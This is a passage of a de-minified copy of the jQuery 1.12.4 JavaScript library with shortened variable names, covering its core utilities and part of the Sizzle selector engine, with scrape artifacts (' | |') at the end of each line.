(function(b, a) { | |
if (typeof module === "object" && typeof module.exports === "object") { | |
module.exports = b.document ? a(b, true) : function(c) { | |
if (!c.document) { | |
throw new Error("jQuery requires a window with a document") | |
} | |
return a(c) | |
} | |
} else { | |
a(b) | |
} | |
}(typeof window !== "undefined" ? window : this, function(bd, aE) { | |
var aX = []; | |
var m = bd.document; | |
var Y = aX.slice; | |
var aI = aX.concat; | |
var x = aX.push; | |
var b3 = aX.indexOf; | |
var al = {}; | |
var y = al.toString; | |
var S = al.hasOwnProperty; | |
var G = {}; | |
var aq = "1.12.4", | |
bQ = function(i, ce) { | |
return new bQ.fn.init(i, ce) | |
}, | |
H = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, | |
b0 = /^-ms-/, | |
a4 = /-([\da-z])/gi, | |
X = function(i, ce) { | |
return ce.toUpperCase() | |
}; | |
bQ.fn = bQ.prototype = { | |
jquery: aq, | |
constructor: bQ, | |
selector: "", | |
length: 0, | |
toArray: function() { | |
return Y.call(this) | |
}, | |
get: function(i) { | |
return i != null ? (i < 0 ? this[i + this.length] : this[i]) : Y.call(this) | |
}, | |
pushStack: function(i) { | |
var ce = bQ.merge(this.constructor(), i); | |
ce.prevObject = this; | |
ce.context = this.context; | |
return ce | |
}, | |
each: function(i) { | |
return bQ.each(this, i) | |
}, | |
map: function(i) { | |
return this.pushStack(bQ.map(this, function(cf, ce) { | |
return i.call(cf, ce, cf) | |
})) | |
}, | |
slice: function() { | |
return this.pushStack(Y.apply(this, arguments)) | |
}, | |
first: function() { | |
return this.eq(0) | |
}, | |
last: function() { | |
return this.eq(-1) | |
}, | |
eq: function(cg) { | |
var ce = this.length, | |
cf = +cg + (cg < 0 ? ce : 0); | |
return this.pushStack(cf >= 0 && cf < ce ? [this[cf]] : []) | |
}, | |
end: function() { | |
return this.prevObject || this.constructor() | |
}, | |
push: x, | |
sort: aX.sort, | |
splice: aX.splice | |
}; | |
bQ.extend = bQ.fn.extend = function() { | |
var ce, ck, cf, cg, cn, cl, cj = arguments[0] || {}, | |
ci = 1, | |
ch = arguments.length, | |
cm = false; | |
if (typeof cj === "boolean") { | |
cm = cj; | |
cj = arguments[ci] || {}; | |
ci++ | |
} | |
if (typeof cj !== "object" && !bQ.isFunction(cj)) { | |
cj = {} | |
} | |
if (ci === ch) { | |
cj = this; | |
ci-- | |
} | |
for (; ci < ch; ci++) { | |
if ((cn = arguments[ci]) != null) { | |
for (cg in cn) { | |
ce = cj[cg]; | |
cf = cn[cg]; | |
if (cj === cf) { | |
continue | |
} | |
if (cm && cf && (bQ.isPlainObject(cf) || (ck = bQ.isArray(cf)))) { | |
if (ck) { | |
ck = false; | |
cl = ce && bQ.isArray(ce) ? ce : [] | |
} else { | |
cl = ce && bQ.isPlainObject(ce) ? ce : {} | |
} | |
cj[cg] = bQ.extend(cm, cl, cf) | |
} else { | |
if (cf !== undefined) { | |
cj[cg] = cf | |
} | |
} | |
} | |
} | |
} | |
return cj | |
}; | |
bQ.extend({ | |
expando: "jQuery" + (aq + Math.random()).replace(/\D/g, ""), | |
isReady: true, | |
error: function(i) { | |
throw new Error(i) | |
}, | |
noop: function() {}, | |
isFunction: function(i) { | |
return bQ.type(i) === "function" | |
}, | |
isArray: Array.isArray || function(i) { | |
return bQ.type(i) === "array" | |
}, | |
isWindow: function(i) { | |
return i != null && i == i.window | |
}, | |
isNumeric: function(ce) { | |
var i = ce && ce.toString(); | |
return !bQ.isArray(ce) && (i - parseFloat(i) + 1) >= 0 | |
}, | |
isEmptyObject: function(ce) { | |
var i; | |
for (i in ce) { | |
return false | |
} | |
return true | |
}, | |
isPlainObject: function(cf) { | |
var i; | |
if (!cf || bQ.type(cf) !== "object" || cf.nodeType || bQ.isWindow(cf)) { | |
return false | |
} | |
try { | |
if (cf.constructor && !S.call(cf, "constructor") && !S.call(cf.constructor.prototype, "isPrototypeOf")) { | |
return false | |
} | |
} catch (ce) { | |
return false | |
} | |
if (!G.ownFirst) { | |
for (i in cf) { | |
return S.call(cf, i) | |
} | |
} | |
for (i in cf) {} | |
return i === undefined || S.call(cf, i) | |
}, | |
type: function(i) { | |
if (i == null) { | |
return i + "" | |
} | |
return typeof i === "object" || typeof i === "function" ? al[y.call(i)] || "object" : typeof i | |
}, | |
globalEval: function(i) { | |
if (i && bQ.trim(i)) { | |
(bd.execScript || function(ce) { | |
bd["eval"].call(bd, ce) | |
})(i) | |
} | |
}, | |
camelCase: function(i) { | |
return i.replace(b0, "ms-").replace(a4, X) | |
}, | |
nodeName: function(ce, i) { | |
return ce.nodeName && ce.nodeName.toLowerCase() === i.toLowerCase() | |
}, | |
each: function(cg, ch) { | |
var cf, ce = 0; | |
if (aC(cg)) { | |
cf = cg.length; | |
for (; ce < cf; ce++) { | |
if (ch.call(cg[ce], ce, cg[ce]) === false) { | |
break | |
} | |
} | |
} else { | |
for (ce in cg) { | |
if (ch.call(cg[ce], ce, cg[ce]) === false) { | |
break | |
} | |
} | |
} | |
return cg | |
}, | |
trim: function(i) { | |
return i == null ? "" : (i + "").replace(H, "") | |
}, | |
makeArray: function(i, cf) { | |
var ce = cf || []; | |
if (i != null) { | |
if (aC(Object(i))) { | |
bQ.merge(ce, typeof i === "string" ? [i] : i) | |
} else { | |
x.call(ce, i) | |
} | |
} | |
return ce | |
}, | |
inArray: function(ch, cf, cg) { | |
var ce; | |
if (cf) { | |
if (b3) { | |
return b3.call(cf, ch, cg) | |
} | |
ce = cf.length; | |
cg = cg ? cg < 0 ? Math.max(0, ce + cg) : cg : 0; | |
for (; cg < ce; cg++) { | |
if (cg in cf && cf[cg] === ch) { | |
return cg | |
} | |
} | |
} | |
return -1 | |
}, | |
merge: function(ci, cg) { | |
var ce = +cg.length, | |
cf = 0, | |
ch = ci.length; | |
while (cf < ce) { | |
ci[ch++] = cg[cf++] | |
} | |
if (ce !== ce) { | |
while (cg[cf] !== undefined) { | |
ci[ch++] = cg[cf++] | |
} | |
} | |
ci.length = ch; | |
return ci | |
}, | |
grep: function(ce, cl, ci) { | |
var ck, ch = [], | |
cf = 0, | |
cg = ce.length, | |
cj = !ci; | |
for (; cf < cg; cf++) { | |
ck = !cl(ce[cf], cf); | |
if (ck !== cj) { | |
ch.push(ce[cf]) | |
} | |
} | |
return ch | |
}, | |
map: function(cf, ck, ce) { | |
var ci, cj, ch = 0, | |
cg = []; | |
if (aC(cf)) { | |
ci = cf.length; | |
for (; ch < ci; ch++) { | |
cj = ck(cf[ch], ch, ce); | |
if (cj != null) { | |
cg.push(cj) | |
} | |
} | |
} else { | |
for (ch in cf) { | |
cj = ck(cf[ch], ch, ce); | |
if (cj != null) { | |
cg.push(cj) | |
} | |
} | |
} | |
return aI.apply([], cg) | |
}, | |
guid: 1, | |
proxy: function(ch, cg) { | |
var i, cf, ce; | |
if (typeof cg === "string") { | |
ce = ch[cg]; | |
cg = ch; | |
ch = ce | |
} | |
if (!bQ.isFunction(ch)) { | |
return undefined | |
} | |
i = Y.call(arguments, 2); | |
cf = function() { | |
return ch.apply(cg || this, i.concat(Y.call(arguments))) | |
}; | |
cf.guid = ch.guid = ch.guid || bQ.guid++; | |
return cf | |
}, | |
now: function() { | |
return +(new Date()) | |
}, | |
support: G | |
}); | |
if (typeof Symbol === "function") { | |
bQ.fn[Symbol.iterator] = aX[Symbol.iterator] | |
} | |
bQ.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "), function(cf, ce) { | |
al["[object " + ce + "]"] = ce.toLowerCase() | |
}); | |
function aC(cf) { | |
var ce = !!cf && "length" in cf && cf.length, | |
i = bQ.type(cf); | |
if (i === "function" || bQ.isWindow(cf)) { | |
return false | |
} | |
return i === "array" || ce === 0 || typeof ce === "number" && ce > 0 && (ce - 1) in cf | |
} | |
var l = (function(dl) { | |
var cF, dp, cu, cO, cR, co, c3, dn, du, cP, c4, c6, cJ, cv, df, da, dm, cl, cM, dh = "sizzle" + 1 * new Date(), | |
cQ = dl.document, | |
dq = 0, | |
db = 0, | |
cg = cH(), | |
dg = cH(), | |
cN = cH(), | |
cL = function(dv, i) { | |
if (dv === i) { | |
c4 = true | |
} | |
return 0 | |
}, | |
cX = 1 << 31, | |
cV = ({}).hasOwnProperty, | |
dj = [], | |
dk = dj.pop, | |
cT = dj.push, | |
ce = dj.push, | |
ct = dj.slice, | |
ck = function(dy, dx) { | |
var dw = 0, | |
dv = dy.length; | |
for (; dw < dv; dw++) { | |
if (dy[dw] === dx) { | |
return dw | |
} | |
} | |
return -1 | |
}, | |
cf = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped", | |
cw = "[\\x20\\t\\r\\n\\f]", | |
cS = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+", | |
dd = "\\[" + cw + "*(" + cS + ")(?:" + cw + "*([*^$|!~]?=)" + cw + "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + cS + "))|)" + cw + "*\\]", | |
cr = ":(" + cS + ")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|" + dd + ")*)|.*)\\)|)", | |
cB = new RegExp(cw + "+", "g"), | |
cy = new RegExp("^" + cw + "+|((?:^|[^\\\\])(?:\\\\.)*)" + cw + "+$", "g"), | |
cC = new RegExp("^" + cw + "*," + cw + "*"), | |
cI = new RegExp("^" + cw + "*([>+~]|" + cw + ")" + cw + "*"), | |
cA = new RegExp("=" + cw + "*([^\\]'\"]*?)" + cw + "*\\]", "g"), | |
cZ = new RegExp(cr), | |
c1 = new RegExp("^" + cS + "$"), | |
c9 = { | |
ID: new RegExp("^#(" + cS + ")"), | |
CLASS: new RegExp("^\\.(" + cS + ")"), | |
TAG: new RegExp("^(" + cS + "|[*])"), | |
ATTR: new RegExp("^" + dd), | |
PSEUDO: new RegExp("^" + cr), | |
CHILD: new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + cw + "*(even|odd|(([+-]|)(\\d*)n|)" + cw + "*(?:([+-]|)" + cw + "*(\\d+)|))" + cw + "*\\)|)", "i"), | |
bool: new RegExp("^(?:" + cf + ")$", "i"), | |
needsContext: new RegExp("^" + cw + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + cw + "*((?:-\\d)?\\d*)" + cw + "*\\)|)(?=[^-]|$)", "i") | |
}, | |
cj = /^(?:input|select|textarea|button)$/i, | |
cs = /^h\d$/i, | |
cW = /^[^{]+\{\s*\[native \w/, | |
cY = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, | |
c8 = /[+~]/, | |
cU = /'|\\/g, | |
cz = new RegExp("\\\\([\\da-f]{1,6}" + cw + "?|(" + cw + ")|.)", "ig"), | |
dc = function(i, dx, dv) { | |
var dw = "0x" + dx - 65536; | |
return dw !== dw || dv ? dx : dw < 0 ? String.fromCharCode(dw + 65536) : String.fromCharCode(dw >> 10 | 55296, dw & 1023 | 56320) | |
}, | |
dt = function() { | |
c6() | |
}; | |
try { | |
ce.apply((dj = ct.call(cQ.childNodes)), cQ.childNodes); | |
dj[cQ.childNodes.length].nodeType | |
} catch (cK) { | |
ce = { | |
apply: dj.length ? function(dv, i) { | |
cT.apply(dv, ct.call(i)) | |
} : function(dy, dx) { | |
var dv = dy.length, | |
dw = 0; | |
while ((dy[dv++] = dx[dw++])) {} | |
dy.length = dv - 1 | |
} | |
} | |
} | |
function cD(dC, dw, dF, dI) { | |
var dA, dG, dz, dv, dJ, dH, dy, dD, dx = dw && dw.ownerDocument, | |
dE = dw ? dw.nodeType : 9; | |
dF = dF || []; | |
if (typeof dC !== "string" || !dC || dE !== 1 && dE !== 9 && dE !== 11) { | |
return dF | |
} | |
if (!dI) { | |
if ((dw ? dw.ownerDocument || dw : cQ) !== cJ) { | |
c6(dw) | |
} | |
dw = dw || cJ; | |
if (df) { | |
if (dE !== 11 && (dH = cY.exec(dC))) { | |
if ((dA = dH[1])) { | |
if (dE === 9) { | |
if ((dz = dw.getElementById(dA))) { | |
if (dz.id === dA) { | |
dF.push(dz); | |
return dF | |
} | |
} else { | |
return dF | |
} | |
} else { | |
if (dx && (dz = dx.getElementById(dA)) && cM(dw, dz) && dz.id === dA) { | |
dF.push(dz); | |
return dF | |
} | |
} | |
} else { | |
if (dH[2]) { | |
ce.apply(dF, dw.getElementsByTagName(dC)); | |
return dF | |
} else { | |
if ((dA = dH[3]) && dp.getElementsByClassName && dw.getElementsByClassName) { | |
ce.apply(dF, dw.getElementsByClassName(dA)); | |
return dF | |
} | |
} | |
} | |
} | |
if (dp.qsa && !cN[dC + " "] && (!da || !da.test(dC))) { | |
if (dE !== 1) { | |
dx = dw; | |
dD = dC | |
} else { | |
if (dw.nodeName.toLowerCase() !== "object") { | |
if ((dv = dw.getAttribute("id"))) { | |
dv = dv.replace(cU, "\\$&") | |
} else { | |
dw.setAttribute("id", (dv = dh)) | |
} | |
dy = co(dC); | |
dG = dy.length; | |
dJ = c1.test(dv) ? "#" + dv : "[id='" + dv + "']"; | |
while (dG--) { | |
dy[dG] = dJ + " " + cp(dy[dG]) | |
} | |
dD = dy.join(","); | |
dx = c8.test(dC) && c0(dw.parentNode) || dw | |
} | |
} | |
if (dD) { | |
try { | |
ce.apply(dF, dx.querySelectorAll(dD)); | |
return dF | |
} catch (dB) {} finally { | |
if (dv === dh) { | |
dw.removeAttribute("id") | |
} | |
} | |
} | |
} | |
} | |
} | |
return dn(dC.replace(cy, "$1"), dw, dF, dI) | |
} | |
function cH() { | |
var dv = []; | |
function i(dw, dx) { | |
if (dv.push(dw + " ") > cu.cacheLength) { | |
delete i[dv.shift()] | |
} | |
return (i[dw + " "] = dx) | |
} | |
return i | |
} | |
function cq(i) { | |
i[dh] = true; | |
return i | |
} | |
function cm(i) { | |
var dw = cJ.createElement("div"); | |
try { | |
return !!i(dw) | |
} catch (dv) { | |
return false | |
} finally { | |
if (dw.parentNode) { | |
dw.parentNode.removeChild(dw) | |
} | |
dw = null | |
} | |
} | |
function dr(dw, dy) { | |
var dv = dw.split("|"), | |
dx = dv.length; | |
while (dx--) { | |
cu.attrHandle[dv[dx]] = dy | |
} | |
} | |
function ch(dv, i) { | |
var dx = i && dv, | |
dw = dx && dv.nodeType === 1 && i.nodeType === 1 && (~i.sourceIndex || cX) - (~dv.sourceIndex || cX); | |
if (dw) { | |
return dw | |
} | |
if (dx) { | |
while ((dx = dx.nextSibling)) { | |
if (dx === i) { | |
return -1 | |
} | |
} | |
} | |
return dv ? 1 : -1 | |
} | |
function cE(i) { | |
return function(dw) { | |
var dv = dw.nodeName.toLowerCase(); | |
return dv === "input" && dw.type === i | |
} | |
} | |
function ci(i) { | |
return function(dw) { | |
var dv = dw.nodeName.toLowerCase(); | |
return (dv === "input" || dv === "button") && dw.type === i | |
} | |
} | |
function de(i) { | |
return cq(function(dv) { | |
dv = +dv; | |
return cq(function(dw, dA) { | |
var dy, dx = i([], dw.length, dv), | |
dz = dx.length; | |
while (dz--) { | |
if (dw[(dy = dx[dz])]) { | |
dw[dy] = !(dA[dy] = dw[dy]) | |
} | |
} | |
}) | |
}) | |
} | |
function c0(i) { | |
return i && typeof i.getElementsByTagName !== "undefined" && i | |
} | |
dp = cD.support = {}; | |
cR = cD.isXML = function(i) { | |
var dv = i && (i.ownerDocument || i).documentElement; | |
return dv ? dv.nodeName !== "HTML" : false | |
}; | |
c6 = cD.setDocument = function(dw) { | |
var i, dv, dx = dw ? dw.ownerDocument || dw : cQ; | |
if (dx === cJ || dx.nodeType !== 9 || !dx.documentElement) { | |
return cJ | |
} | |
cJ = dx; | |
cv = cJ.documentElement; | |
df = !cR(cJ); | |
if ((dv = cJ.defaultView) && dv.top !== dv) { | |
if (dv.addEventListener) { | |
dv.addEventListener("unload", dt, false) | |
} else { | |
if (dv.attachEvent) { | |
dv.attachEvent("onunload", dt) | |
} | |
} | |
} | |
dp.attributes = cm(function(dy) { | |
dy.className = "i"; | |
return !dy.getAttribute("className") | |
}); | |
dp.getElementsByTagName = cm(function(dy) { | |
dy.appendChild(cJ.createComment("")); | |
return !dy.getElementsByTagName("*").length | |
}); | |
dp.getElementsByClassName = cW.test(cJ.getElementsByClassName); | |
dp.getById = cm(function(dy) { | |
cv.appendChild(dy).id = dh; | |
return !cJ.getElementsByName || !cJ.getElementsByName(dh).length | |
}); | |
if (dp.getById) { | |
cu.find.ID = function(dA, dz) { | |
if (typeof dz.getElementById !== "undefined" && df) { | |
var dy = dz.getElementById(dA); | |
return dy ? [dy] : [] | |
} | |
}; | |
cu.filter.ID = function(dz) { | |
var dy = dz.replace(cz, dc); | |
return function(dA) { | |
return dA.getAttribute("id") === dy | |
} | |
} | |
} else { | |
delete cu.find.ID; | |
cu.filter.ID = function(dz) { | |
var dy = dz.replace(cz, dc); | |
return function(dB) { | |
var dA = typeof dB.getAttributeNode !== "undefined" && dB.getAttributeNode("id"); | |
return dA && dA.value === dy | |
} | |
} | |
} | |
cu.find.TAG = dp.getElementsByTagName ? function(dy, dz) { | |
if (typeof dz.getElementsByTagName !== "undefined") { | |
return dz.getElementsByTagName(dy) | |
} else { | |
if (dp.qsa) { | |
return dz.querySelectorAll(dy) | |
} | |
} | |
} : function(dy, dC) { | |
var dD, dB = [], | |
dA = 0, | |
dz = dC.getElementsByTagName(dy); | |
if (dy === "*") { | |
while ((dD = dz[dA++])) { | |
if (dD.nodeType === 1) { | |
dB.push(dD) | |
} | |
} | |
return dB | |
} | |
return dz | |
}; | |
cu.find.CLASS = dp.getElementsByClassName && function(dz, dy) { | |
if (typeof dy.getElementsByClassName !== "undefined" && df) { | |
return dy.getElementsByClassName(dz) | |
} | |
}; | |
dm = []; | |
da = []; | |
if ((dp.qsa = cW.test(cJ.querySelectorAll))) { | |
cm(function(dy) { | |
cv.appendChild(dy).innerHTML = "<a id='" + dh + "'></a><select id='" + dh + "-\r\\' msallowcapture=''><option selected=''></option></select>"; | |
if (dy.querySelectorAll("[msallowcapture^='']").length) { | |
da.push("[*^$]=" + cw + "*(?:''|\"\")") | |
} | |
if (!dy.querySelectorAll("[selected]").length) { | |
da.push("\\[" + cw + "*(?:value|" + cf + ")") | |
} | |
if (!dy.querySelectorAll("[id~=" + dh + "-]").length) { | |
da.push("~=") | |
} | |
if (!dy.querySelectorAll(":checked").length) { | |
da.push(":checked") | |
} | |
if (!dy.querySelectorAll("a#" + dh + "+*").length) { | |
da.push(".#.+[+~]") | |
} | |
}); | |
cm(function(dz) { | |
var dy = cJ.createElement("input"); | |
dy.setAttribute("type", "hidden"); | |
dz.appendChild(dy).setAttribute("name", "D"); | |
if (dz.querySelectorAll("[name=d]").length) { | |
da.push("name" + cw + "*[*^$|!~]?=") | |
} | |
if (!dz.querySelectorAll(":enabled").length) { | |
da.push(":enabled", ":disabled") | |
} | |
dz.querySelectorAll("*,:x"); | |
da.push(",.*:") | |
}) | |
} | |
if ((dp.matchesSelector = cW.test((cl = cv.matches || cv.webkitMatchesSelector || cv.mozMatchesSelector || cv.oMatchesSelector || cv.msMatchesSelector)))) { | |
cm(function(dy) { | |
dp.disconnectedMatch = cl.call(dy, "div"); | |
cl.call(dy, "[s!='']:x"); | |
dm.push("!=", cr) | |
}) | |
} | |
da = da.length && new RegExp(da.join("|")); | |
dm = dm.length && new RegExp(dm.join("|")); | |
i = cW.test(cv.compareDocumentPosition); | |
cM = i || cW.test(cv.contains) ? function(dz, dy) { | |
var dB = dz.nodeType === 9 ? dz.documentElement : dz, | |
dA = dy && dy.parentNode; | |
return dz === dA || !!(dA && dA.nodeType === 1 && (dB.contains ? dB.contains(dA) : dz.compareDocumentPosition && dz.compareDocumentPosition(dA) & 16)) | |
} : function(dz, dy) { | |
if (dy) { | |
while ((dy = dy.parentNode)) { | |
if (dy === dz) { | |
return true | |
} | |
} | |
} | |
return false | |
}; | |
cL = i ? function(dz, dy) { | |
if (dz === dy) { | |
c4 = true; | |
return 0 | |
} | |
var dA = !dz.compareDocumentPosition - !dy.compareDocumentPosition; | |
if (dA) { | |
return dA | |
} | |
dA = (dz.ownerDocument || dz) === (dy.ownerDocument || dy) ? dz.compareDocumentPosition(dy) : 1; | |
if (dA & 1 || (!dp.sortDetached && dy.compareDocumentPosition(dz) === dA)) { | |
if (dz === cJ || dz.ownerDocument === cQ && cM(cQ, dz)) { | |
return -1 | |
} | |
if (dy === cJ || dy.ownerDocument === cQ && cM(cQ, dy)) { | |
return 1 | |
} | |
return cP ? (ck(cP, dz) - ck(cP, dy)) : 0 | |
} | |
return dA & 4 ? -1 : 1 | |
} : function(dz, dy) { | |
if (dz === dy) { | |
c4 = true; | |
return 0 | |
} | |
var dF, dC = 0, | |
dE = dz.parentNode, | |
dB = dy.parentNode, | |
dA = [dz], | |
dD = [dy]; | |
if (!dE || !dB) { | |
return dz === cJ ? -1 : dy === cJ ? 1 : dE ? -1 : dB ? 1 : cP ? (ck(cP, dz) - ck(cP, dy)) : 0 | |
} else { | |
if (dE === dB) { | |
return ch(dz, dy) | |
} | |
} | |
dF = dz; | |
while ((dF = dF.parentNode)) { | |
dA.unshift(dF) | |
} | |
dF = dy; | |
while ((dF = dF.parentNode)) { | |
dD.unshift(dF) | |
} | |
while (dA[dC] === dD[dC]) { | |
dC++ | |
} | |
return dC ? ch(dA[dC], dD[dC]) : dA[dC] === cQ ? -1 : dD[dC] === cQ ? 1 : 0 | |
}; | |
return cJ | |
}; | |
cD.matches = function(dv, i) { | |
return cD(dv, null, null, i) | |
}; | |
cD.matchesSelector = function(dv, dx) { | |
if ((dv.ownerDocument || dv) !== cJ) { | |
c6(dv) | |
} | |
dx = dx.replace(cA, "='$1']"); | |
if (dp.matchesSelector && df && !cN[dx + " "] && (!dm || !dm.test(dx)) && (!da || !da.test(dx))) { | |
try { | |
var i = cl.call(dv, dx); | |
if (i || dp.disconnectedMatch || dv.document && dv.document.nodeType !== 11) { | |
return i | |
} | |
} catch (dw) {} | |
} | |
return cD(dx, cJ, null, [dv]).length > 0 | |
}; | |
cD.contains = function(i, dv) { | |
if ((i.ownerDocument || i) !== cJ) { | |
c6(i) | |
} | |
return cM(i, dv) | |
}; | |
cD.attr = function(dw, i) { | |
if ((dw.ownerDocument || dw) !== cJ) { | |
c6(dw) | |
} | |
var dv = cu.attrHandle[i.toLowerCase()], | |
dx = dv && cV.call(cu.attrHandle, i.toLowerCase()) ? dv(dw, i, !df) : undefined; | |
return dx !== undefined ? dx : dp.attributes || !df ? dw.getAttribute(i) : (dx = dw.getAttributeNode(i)) && dx.specified ? dx.value : null | |
}; | |
cD.error = function(i) { | |
throw new Error("Syntax error, unrecognized expression: " + i) | |
}; | |
cD.uniqueSort = function(dx) { | |
var dy, dz = [], | |
dv = 0, | |
dw = 0; | |
c4 = !dp.detectDuplicates; | |
cP = !dp.sortStable && dx.slice(0); | |
dx.sort(cL); | |
if (c4) { | |
while ((dy = dx[dw++])) { | |
if (dy === dx[dw]) { | |
dv = dz.push(dw) | |
} | |
} | |
while (dv--) { | |
dx.splice(dz[dv], 1) | |
} | |
} | |
cP = null; | |
return dx | |
}; | |
cO = cD.getText = function(dz) { | |
var dy, dw = "", | |
dx = 0, | |
dv = dz.nodeType; | |
if (!dv) { | |
while ((dy = dz[dx++])) { | |
dw += cO(dy) | |
} | |
} else { | |
if (dv === 1 || dv === 9 || dv === 11) { | |
if (typeof dz.textContent === "string") { | |
return dz.textContent | |
} else { | |
for (dz = dz.firstChild; dz; dz = dz.nextSibling) { | |
dw += cO(dz) | |
} | |
} | |
} else { | |
if (dv === 3 || dv === 4) { | |
return dz.nodeValue | |
} | |
} | |
} | |
return dw | |
}; | |
cu = cD.selectors = { | |
cacheLength: 50, | |
createPseudo: cq, | |
match: c9, | |
attrHandle: {}, | |
find: {}, | |
relative: { | |
">": { | |
dir: "parentNode", | |
first: true | |
}, | |
" ": { | |
dir: "parentNode" | |
}, | |
"+": { | |
dir: "previousSibling", | |
first: true | |
}, | |
"~": { | |
dir: "previousSibling" | |
} | |
}, | |
preFilter: { | |
ATTR: function(i) { | |
i[1] = i[1].replace(cz, dc); | |
i[3] = (i[3] || i[4] || i[5] || "").replace(cz, dc); | |
if (i[2] === "~=") { | |
i[3] = " " + i[3] + " " | |
} | |
return i.slice(0, 4) | |
}, | |
CHILD: function(i) { | |
i[1] = i[1].toLowerCase(); | |
if (i[1].slice(0, 3) === "nth") { | |
if (!i[3]) { | |
cD.error(i[0]) | |
} | |
i[4] = +(i[4] ? i[5] + (i[6] || 1) : 2 * (i[3] === "even" || i[3] === "odd")); | |
i[5] = +((i[7] + i[8]) || i[3] === "odd") | |
} else { | |
if (i[3]) { | |
cD.error(i[0]) | |
} | |
} | |
return i | |
}, | |
PSEUDO: function(dv) { | |
var i, dw = !dv[6] && dv[2]; | |
if (c9.CHILD.test(dv[0])) { | |
return null | |
} | |
if (dv[3]) { | |
dv[2] = dv[4] || dv[5] || "" | |
} else { | |
if (dw && cZ.test(dw) && (i = co(dw, true)) && (i = dw.indexOf(")", dw.length - i) - dw.length)) { | |
dv[0] = dv[0].slice(0, i); | |
dv[2] = dw.slice(0, i) | |
} | |
} | |
return dv.slice(0, 3) | |
} | |
}, | |
filter: { | |
TAG: function(dv) { | |
var i = dv.replace(cz, dc).toLowerCase(); | |
return dv === "*" ? function() { | |
return true | |
} : function(dw) { | |
return dw.nodeName && dw.nodeName.toLowerCase() === i | |
} | |
}, | |
CLASS: function(i) { | |
var dv = cg[i + " "]; | |
return dv || (dv = new RegExp("(^|" + cw + ")" + i + "(" + cw + "|$)")) && cg(i, function(dw) { | |
return dv.test(typeof dw.className === "string" && dw.className || typeof dw.getAttribute !== "undefined" && dw.getAttribute("class") || "") | |
}) | |
}, | |
ATTR: function(dw, dv, i) { | |
return function(dy) { | |
var dx = cD.attr(dy, dw); | |
if (dx == null) { | |
return dv === "!=" | |
} | |
if (!dv) { | |
return true | |
} | |
dx += ""; | |
return dv === "=" ? dx === i : dv === "!=" ? dx !== i : dv === "^=" ? i && dx.indexOf(i) === 0 : dv === "*=" ? i && dx.indexOf(i) > -1 : dv === "$=" ? i && dx.slice(-i.length) === i : dv === "~=" ? (" " + dx.replace(cB, " ") + " ").indexOf(i) > -1 : dv === "|=" ? dx === i || dx.slice(0, i.length + 1) === i + "-" : false | |
} | |
}, | |
CHILD: function(dv, dy, dx, dz, dw) { | |
var dB = dv.slice(0, 3) !== "nth", | |
i = dv.slice(-4) !== "last", | |
dA = dy === "of-type"; | |
return dz === 1 && dw === 0 ? function(dC) { | |
return !!dC.parentNode | |
} : function(dJ, dH, dM) { | |
var dC, dF, dP, dK, dL, dG, dI = dB !== i ? "nextSibling" : "previousSibling", | |
dO = dJ.parentNode, | |
dE = dA && dJ.nodeName.toLowerCase(), | |
dD = !dM && !dA, | |
dN = false; | |
if (dO) { | |
if (dB) { | |
while (dI) { | |
dK = dJ; | |
while ((dK = dK[dI])) { | |
if (dA ? dK.nodeName.toLowerCase() === dE : dK.nodeType === 1) { | |
return false | |
} | |
} | |
dG = dI = dv === "only" && !dG && "nextSibling" | |
} | |
return true | |
} | |
dG = [i ? dO.firstChild : dO.lastChild]; | |
if (i && dD) { | |
dK = dO; | |
dP = dK[dh] || (dK[dh] = {}); | |
dF = dP[dK.uniqueID] || (dP[dK.uniqueID] = {}); | |
dC = dF[dv] || []; | |
dL = dC[0] === dq && dC[1]; | |
dN = dL && dC[2]; | |
dK = dL && dO.childNodes[dL]; | |
while ((dK = ++dL && dK && dK[dI] || (dN = dL = 0) || dG.pop())) { | |
if (dK.nodeType === 1 && ++dN && dK === dJ) { | |
dF[dv] = [dq, dL, dN]; | |
break | |
} | |
} | |
} else { | |
if (dD) { | |
dK = dJ; | |
dP = dK[dh] || (dK[dh] = {}); | |
dF = dP[dK.uniqueID] || (dP[dK.uniqueID] = {}); | |
dC = dF[dv] || []; | |
dL = dC[0] === dq && dC[1]; | |
dN = dL | |
} | |
if (dN === false) { | |
while ((dK = ++dL && dK && dK[dI] || (dN = dL = 0) || dG.pop())) { | |
if ((dA ? dK.nodeName.toLowerCase() === dE : dK.nodeType === 1) && ++dN) { | |
if (dD) { | |
dP = dK[dh] || (dK[dh] = {}); | |
dF = dP[dK.uniqueID] || (dP[dK.uniqueID] = {}); | |
dF[dv] = [dq, dN] | |
} | |
if (dK === dJ) { | |
break | |
} | |
} | |
} | |
} | |
} | |
dN -= dw; | |
return dN === dz || (dN % dz === 0 && dN / dz >= 0) | |
} | |
} | |
}, | |
PSEUDO: function(dx, dw) { | |
var i, dv = cu.pseudos[dx] || cu.setFilters[dx.toLowerCase()] || cD.error("unsupported pseudo: " + dx); | |
if (dv[dh]) { | |
return dv(dw) | |
} | |
if (dv.length > 1) { | |
i = [dx, dx, "", dw]; | |
return cu.setFilters.hasOwnProperty(dx.toLowerCase()) ? cq(function(dA, dC) { | |
var dz, dy = dv(dA, dw), | |
dB = dy.length; | |
while (dB--) { | |
dz = ck(dA, dy[dB]); | |
dA[dz] = !(dC[dz] = dy[dB]) | |
} | |
}) : function(dy) { | |
return dv(dy, 0, i) | |
} | |
} | |
return dv | |
} | |
}, | |
pseudos: { | |
not: cq(function(i) { | |
var dv = [], | |
dw = [], | |
dx = c3(i.replace(cy, "$1")); | |
return dx[dh] ? cq(function(dz, dE, dC, dA) { | |
var dD, dy = dx(dz, null, dA, []), | |
dB = dz.length; | |
while (dB--) { | |
if ((dD = dy[dB])) { | |
dz[dB] = !(dE[dB] = dD) | |
} | |
} | |
}) : function(dA, dz, dy) { | |
dv[0] = dA; | |
dx(dv, null, dy, dw); | |
dv[0] = null; | |
return !dw.pop() | |
} | |
}), | |
